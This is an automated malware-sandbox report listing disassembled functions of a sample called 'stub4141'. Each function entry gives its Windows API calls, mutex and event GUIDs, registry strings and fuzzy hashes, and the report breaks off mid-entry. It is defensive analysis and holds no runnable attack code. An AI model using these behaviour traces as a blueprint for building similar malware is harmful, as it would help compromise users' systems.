Opcode Fuzzy Hash: c520cad9b5a3b01635c53a7a90f960de1aae2c74043efa33ed06f741e17cba45
Instruction Fuzzy Hash: 53213AB0940304FFD744EBA0DD49BADBBB9EB48701F10882DE701A6290DBB55584DFE8

Function 00416688 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,004163CB,?), ref: 004166AB
CloseHandle.KERNEL32(00000000,?,004163CB,?), ref: 004166E3
CloseHandle.KERNEL32(00000000,?,004163CB,?), ref: 00416703
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,004163CB,?), ref: 0041671B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 0041673A
ResumeThread.KERNEL32(00000000), ref: 00416768

Strings

d, xrefs: 00416691

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseCreateHandleThread$EventObjectResumeSingleWait
String ID: d
API String ID: 3200977696-2564639436
Opcode ID: 57c44512fc9da0e0d9e50cdd16f49534e61b1de36efa171b389c62e9c03526a1
Instruction ID: dfce2e236d788c164ad45a1296ab95d8437985029767d69d7dc9b1869c14d210
Opcode Fuzzy Hash: 57c44512fc9da0e0d9e50cdd16f49534e61b1de36efa171b389c62e9c03526a1
Instruction Fuzzy Hash: FB310BB4A00219DFDB18CF94C988BAEB7B1FB44305F248559E625673D0C375A985CF94

Function 004084F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040855F
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 0040859A
SetEvent.KERNEL32(00000000), ref: 004085AD
CloseHandle.KERNEL32(00000000), ref: 004085B7
shutdown.WS2_32(?,00000002), ref: 004085C3
closesocket.WS2_32(?), ref: 004085CD

Part of subcall function 00405D50: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00405D81
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405D8C
Part of subcall function 00405D50: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00405DA4
Part of subcall function 00405D50: __snwprintf.LIBCMT ref: 00405DCE
Part of subcall function 00405D50: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00405DF3
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405DFC
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E7C
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E86

Strings

{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 0040858E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CreateErrorEventFreeLast$AllocCloseDirectoryFileHandleOpen__snwprintfclosesocketsetsockoptshutdown
String ID: {FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 1062739783-3983834461
Opcode ID: 36aaadddd2385867b1bad5bdc2cb60abfc658f4f048f6617bd3706744e461895
Instruction ID: 2cd38345205fa71f524f7374ce5af10e574617d83d2d063326360581064d425d
Opcode Fuzzy Hash: 36aaadddd2385867b1bad5bdc2cb60abfc658f4f048f6617bd3706744e461895
Instruction Fuzzy Hash: 7331E7B1A00208EFDB24DFA4DD89BAEB7B4FB48300F24892EE551A7292D7759944CF54

Function 00401DA0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00401DB1
OpenEventW.KERNEL32(00000002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00401E03
SetEvent.KERNEL32(00000000), ref: 00401E16
CloseHandle.KERNEL32(00000000), ref: 00401E20
SetEvent.KERNEL32(00000000), ref: 00401E58
ResetEvent.KERNEL32(00000000), ref: 00401E7B

Strings

{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00401DFA

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID: {FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 1560999653-3983834461
Opcode ID: 902a91e189af0f069efd5d26eba2da349720c389c1f0ce71f23911caad29db73
Instruction ID: 36fd6f91eb5d976734d2c1d9fa4149e9c294f92ff093031bf25f8ded314148eb
Opcode Fuzzy Hash: 902a91e189af0f069efd5d26eba2da349720c389c1f0ce71f23911caad29db73
Instruction Fuzzy Hash: 6B213831901205EFDB349BA0E949A6E77B8EB55305F10493FE905A22F0C7798A84DB9E

Function 004018EE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 004019C0
OpenMutexW.KERNEL32(00100000,00000000,{6837DC06-EC8B-4D09-8FB2-23C8B38AB850}), ref: 004019D9
WaitForSingleObject.KERNEL32(000002A4,0000000A), ref: 004019F6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00401C19
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C30
ExitProcess.KERNEL32 ref: 00401C38

Strings

{6837DC06-EC8B-4D09-8FB2-23C8B38AB850}, xrefs: 004019CD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ObjectSingleWait$Wow64$DisableExitMutexOpenProcessRedirection
String ID: {6837DC06-EC8B-4D09-8FB2-23C8B38AB850}
API String ID: 3042449743-1086345536
Opcode ID: 6ffbc2c862f815da29953a2288e8da49c2b603c7bb8d876fd50c6cff71086dd1
Instruction ID: 8e3d276c9a5fedf1dc0ef8c8727ecd31c911a64be0aebf8cfb59fe4898f7e40a
Opcode Fuzzy Hash: 6ffbc2c862f815da29953a2288e8da49c2b603c7bb8d876fd50c6cff71086dd1
Instruction Fuzzy Hash: AA216DB0900118DFDB30CF54DD48B9973B6EB84315F1045BEE109B22A0C7799E94CF49

Function 00404730 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62registrymemoryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00404753
RegGetValueW.ADVAPI32(80000001,?,-00008398,00000008,00000000,00000000,00000000), ref: 00404788
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404798
RegGetValueW.ADVAPI32(80000001,?,-00008398,00000008,00000000,00000000,00000000), ref: 004047C9
LocalFree.KERNEL32(00000000), ref: 004047E4

Strings

;^@, xrefs: 004047D3
SOFTWARE\%s, xrefs: 00404742

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: LocalValue$AllocFree__snwprintf
String ID: ;^@$SOFTWARE\%s
API String ID: 297434584-4120221345
Opcode ID: bb55fa5edfbd17d08b6930e2af530931bed529e4c4d56ef8f21746127797f4f2
Instruction ID: 39eac9d5c1bd094386ead5af29a7826bb26779fda4dc824867800876a5d40bbf
Opcode Fuzzy Hash: bb55fa5edfbd17d08b6930e2af530931bed529e4c4d56ef8f21746127797f4f2
Instruction Fuzzy Hash: 85210075604208FFE714DF94CC85FAE77B8EB85704F108169F605A7280D7B5AB44CB94

Function 0040A510 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00415CD0,00480380,00415CD0), ref: 0040A523
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040A534
wnsprintfW.SHLWAPI ref: 0040A55F
lstrlenW.KERNEL32(?), ref: 0040A570
CoTaskMemFree.COMBASE(?), ref: 0040A57F
CoTaskMemFree.COMBASE(?), ref: 0040A58E

Strings

%s\%s, xrefs: 0040A551

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathlstrlenwnsprintf
String ID: %s\%s
API String ID: 1665550476-4073750446
Opcode ID: 687adebfd3b54145c276dcccf53d6e68c27bfbffadbb513ca8157302985dcca0
Instruction ID: d1ec8a1b28bae9738c81d71f15f5793a707d18c0714c6e58c40bd427341358d4
Opcode Fuzzy Hash: 687adebfd3b54145c276dcccf53d6e68c27bfbffadbb513ca8157302985dcca0
Instruction Fuzzy Hash: 66016D74600308BBDB14DFA8CD89F6E77B8EB08701F104479FA05E6281D6389A408F59

Function 004021F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040220F
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00402227
RegSetValueExW.ADVAPI32(?,{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5},00000000,00000003,?,?), ref: 0040224A
RegCloseKey.ADVAPI32(?), ref: 00402258

Strings

SOFTWARE\%s, xrefs: 004021FE
{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}, xrefs: 004021F9, 00402241

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseOpenValue__snwprintf
String ID: SOFTWARE\%s${B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}
API String ID: 2100281157-3863139341
Opcode ID: bde101ff8e6d79124fc3f28776b13eec1921177653e6d84427db13736c296b2e
Instruction ID: f078b679893787f88ab235dd41366716fd77fb51c8fad45de53e520f3b8419f3
Opcode Fuzzy Hash: bde101ff8e6d79124fc3f28776b13eec1921177653e6d84427db13736c296b2e
Instruction Fuzzy Hash: 79016775704308FBDB10DFE0DD89FAE3368AB48B40F5049ADB909B61C0D6B5EA10D768

Function 004129C0 Relevance: 10.7, APIs: 7, Instructions: 220memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00412A42
LocalAlloc.KERNEL32(00000040,?), ref: 00412B3D

Part of subcall function 0041FCF0: WSACreateEvent.WS2_32 ref: 0041FD50

LocalAlloc.KERNEL32(00000040,?), ref: 00412B9A
LocalFree.KERNEL32(00000000), ref: 00412C48

Part of subcall function 00414960: LocalFree.KERNEL32(00000000), ref: 004149C0
Part of subcall function 00414960: LocalFree.KERNEL32(00000000), ref: 004149D0
Part of subcall function 00414960: LocalAlloc.KERNEL32(00000040,00030010), ref: 00414A1B
Part of subcall function 00414960: LocalAlloc.KERNEL32(00000040,000089B0), ref: 00414A35
Part of subcall function 00414960: _memmove.LIBCMT ref: 00414A56
Part of subcall function 00414960: lstrcpyW.KERNEL32(00000000,00000000), ref: 00414A66
Part of subcall function 00414960: lstrcpyW.KERNEL32(-00010000,00000000), ref: 00414A79
Part of subcall function 00414960: lstrcpyW.KERNEL32(-00020000,00000000), ref: 00414A8D

LocalFree.KERNEL32(00000000), ref: 00412C5E
shutdown.WS2_32(?,00000002), ref: 00412CCA
closesocket.WS2_32(?), ref: 00412CD4

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041FCF0: ___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$AllocFree$lstrcpy$InfoLocale___crt$CreateEvent_memmoveclosesocketsetsockoptshutdown
String ID:
API String ID: 190012262-0
Opcode ID: 8f56a19b7883733de24ae1f6ef81d12ee8f128998df640cd665ff1388d526025
Instruction ID: 4bf08f9bb5469629f08c31ad180a2719562bbdcd38bccdcb73e8d78d35e3cfa3
Opcode Fuzzy Hash: 8f56a19b7883733de24ae1f6ef81d12ee8f128998df640cd665ff1388d526025
Instruction Fuzzy Hash: 129130B1D00218AFEB24DB94CC45FEEB7B4EB45704F408299E618A7291E7B45A84CFA5

Function 0041DBD0 Relevance: 10.7, APIs: 7, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041DC12
und_memcpy.LIBCMTD ref: 0041DC38
und_memcpy.LIBCMTD ref: 0041DC53
und_memcpy.LIBCMTD ref: 0041DC87
VirtualProtect.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 0041DE95
LocalFree.KERNEL32(00000000), ref: 0041DF5B

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: und_memcpy$Local$AllocFreeProtectVirtual
String ID:
API String ID: 3065580769-0
Opcode ID: e22a2eb0ce8dea6dd3dd7ae9fbb433a8a0c2e7025223a21317e7395d52c5e314
Instruction ID: 9c2e8ddb1216e6ec9f1310a21cbd8ee584732092bebdd70fcc402f3b22a5d94a
Opcode Fuzzy Hash: e22a2eb0ce8dea6dd3dd7ae9fbb433a8a0c2e7025223a21317e7395d52c5e314
Instruction Fuzzy Hash: F3A1AEB0E056288BDB69CF04DD85BDAB7B1BB98305F1481DA940DAB354D739AEC1CF84

Function 0041D550 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 0041DF70: LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041DFB9

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041D7A8

Strings

sMA, xrefs: 0041D57A, 0041D5CC, 0041D76D, 0041D779
sMA, xrefs: 0041D556, 0041D58E, 0041D591

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AllocFreeLocalVirtual
String ID: sMA$sMA
API String ID: 3333721195-2874332077
Opcode ID: 0e9b175c3eba3c0ffbcda3fc649b27783d9c138fa994ee95fec40bdadaa253cb
Instruction ID: b41c8438fbb51c4cecdff66964531a6e904c440a2f9eabed125983b870893505
Opcode Fuzzy Hash: 0e9b175c3eba3c0ffbcda3fc649b27783d9c138fa994ee95fec40bdadaa253cb
Instruction Fuzzy Hash: 0F9193B5E00218DFCB14CF98C884AEDBBB1FF48318F24855AD415AB395D738A992CF54

Function 00414F90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00415044
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041507C
CloseHandle.KERNEL32(00000000), ref: 004150B2
CloseHandle.KERNEL32(00000000), ref: 00415102
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041516C

Strings

d, xrefs: 0041500A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: c954e6218767c3aaec68f583af230dd0013f70dc180b0cc79db2ede1a07c3d81
Instruction ID: 47b96dbc6e0ded4ba21dbf082a81bfc45f75f163618514a35dde139c3f65b0e5
Opcode Fuzzy Hash: c954e6218767c3aaec68f583af230dd0013f70dc180b0cc79db2ede1a07c3d81
Instruction Fuzzy Hash: B1518270A00509EBFB18CF94DA88BEEBB76EBD0304F144169D1166F281C3399E95CB95

Function 004127B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00412832
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041286A
CloseHandle.KERNEL32(00000000), ref: 00412887
CloseHandle.KERNEL32(00000000), ref: 004128D7

Strings

d, xrefs: 004127F8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID: d
API String ID: 2857295742-2564639436
Opcode ID: 79875a1de03287d105d4b518045f0a4f69ee91f9b91fe41ca4fcce7cc477fdb3
Instruction ID: ebdcdf4ea188ba41d4e9dc59ff6a077fe524137a0ab7b5adba60f3e967925ee7
Opcode Fuzzy Hash: 79875a1de03287d105d4b518045f0a4f69ee91f9b91fe41ca4fcce7cc477fdb3
Instruction Fuzzy Hash: B7519F31A00504EBFB1CDF98C788BAEB772EB90304F2541A9D116AF280C3799AA5CB45

Function 020EAB67 Relevance: 10.6, APIs: 7, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 020EABB4
_memset.LIBCMT ref: 020EABCA
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 020EAC07
LocalAlloc.KERNEL32(00000040,00000014), ref: 020EAC1A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 020EAC2F
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 020EAC45
LocalFree.KERNEL32(00000000), ref: 020EAC58

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree_memset
String ID:
API String ID: 4046344516-0
Opcode ID: 11980c3a5725c84d2eabbf9c8618e3f86cccab0312e381fa1b92e1b2205bded5
Instruction ID: febf8e1f2a9e9f4553d45b764abd041d1a8b4daee70d9fe0a9ea64295cedc365
Opcode Fuzzy Hash: 11980c3a5725c84d2eabbf9c8618e3f86cccab0312e381fa1b92e1b2205bded5
Instruction Fuzzy Hash: 8B31FB70E40308EFEB00DBE4D989BEEBBB5AB04708F104558F601AA2C1D7B65684DBA1

Function 004163F6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00416447
CloseHandle.KERNEL32(00000000), ref: 00416467
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0041647F
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 0041649E
ResumeThread.KERNEL32(00000000), ref: 004164CC
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00416521
CloseHandle.KERNEL32(00000000), ref: 0041654D
CloseHandle.KERNEL32(00000000), ref: 0041656D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00416585
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 004165A4
ResumeThread.KERNEL32(00000000), ref: 004165D2

Strings

d, xrefs: 004163FF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID: d
API String ID: 738346648-2564639436
Opcode ID: cf56d95f0944ea5d23bceed9c280250f7275f437e89e9c1500cf3c43e0bfd920
Instruction ID: 3559a76cee4ef7367c53f468cbd4d960f10f329c1df8733437ec1048c863154c
Opcode Fuzzy Hash: cf56d95f0944ea5d23bceed9c280250f7275f437e89e9c1500cf3c43e0bfd920
Instruction Fuzzy Hash: F3317774A00208DFDB18CF94D988B9DFBB2BF44305F25C259E9156B394C775E886CB54

Function 0041BB20 Relevance: 10.6, APIs: 7, Instructions: 74threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0041BB36
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000004,00000000), ref: 0041BB59
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041BB70
ResumeThread.KERNEL32(00000000), ref: 0041BBAE
CloseHandle.KERNEL32(00000000), ref: 0041BBC2
CloseHandle.KERNEL32(00000000), ref: 0041BBDC
LocalFree.KERNEL32(00000000), ref: 0041BBE6

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseCreateHandleLocalThread$AllocEventFreeResume
String ID:
API String ID: 4097846125-0
Opcode ID: 1526f317b2098b00b6bce1cbe1714017048252361225d514f497571e299d07b9
Instruction ID: 66d399e530a9886377f19aa88395db195067a2700ee842057ae453de2f81e24a
Opcode Fuzzy Hash: 1526f317b2098b00b6bce1cbe1714017048252361225d514f497571e299d07b9
Instruction Fuzzy Hash: AF215178A04208FBCB14DFA4DD49FDD77B4EB48300F208159F605AB390D774AA44CB94

Function 0041E430 Relevance: 10.6, APIs: 7, Instructions: 62filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041E44C
GetFileSize.KERNEL32(000000FF,00000000), ref: 0041E461
LocalAlloc.KERNEL32(00000040,000000FF), ref: 0041E476
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 0041E497
CloseHandle.KERNEL32(000000FF), ref: 0041E4AD
LocalFree.KERNEL32(00000000), ref: 0041E4C4
CloseHandle.KERNEL32(000000FF), ref: 0041E4CE

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction ID: c70d9f473623bd247c7c5aaf4eb55d9cefab7727912a2eee00d93f1ff41e5708
Opcode Fuzzy Hash: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction Fuzzy Hash: B5214D78A00208FBDB18DFA5D988FDEB774EB48700F208695FA15A72D0D674AA45CB54

Function 020FBB87 Relevance: 10.6, APIs: 7, Instructions: 62filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,020E48D2,?,00000000), ref: 020FBBA3
GetFileSize.KERNEL32(000000FF,00000000,?,020E48D2,?), ref: 020FBBB8
LocalAlloc.KERNEL32(00000040,000000FF,?,020E48D2), ref: 020FBBCD
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 020FBBEE
CloseHandle.KERNEL32(000000FF), ref: 020FBC04
LocalFree.KERNEL32(00000000), ref: 020FBC1B
CloseHandle.KERNEL32(000000FF,?,020E48D2), ref: 020FBC25

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction ID: 9677c84592f47b12d47db41b2eff70c038b3e95359454ef51dfc7500b6c7a2f5
Opcode Fuzzy Hash: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction Fuzzy Hash: 69215B74A40208FBDB58DFA4D988FAEB7B8EB08704F108554F715A7290D770AA45DF54

Function 00409F30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00409F3E
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00409F61

Strings

KERNEL32.DLL, xrefs: 00409F39
USER32.DLL, xrefs: 00409F6F

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

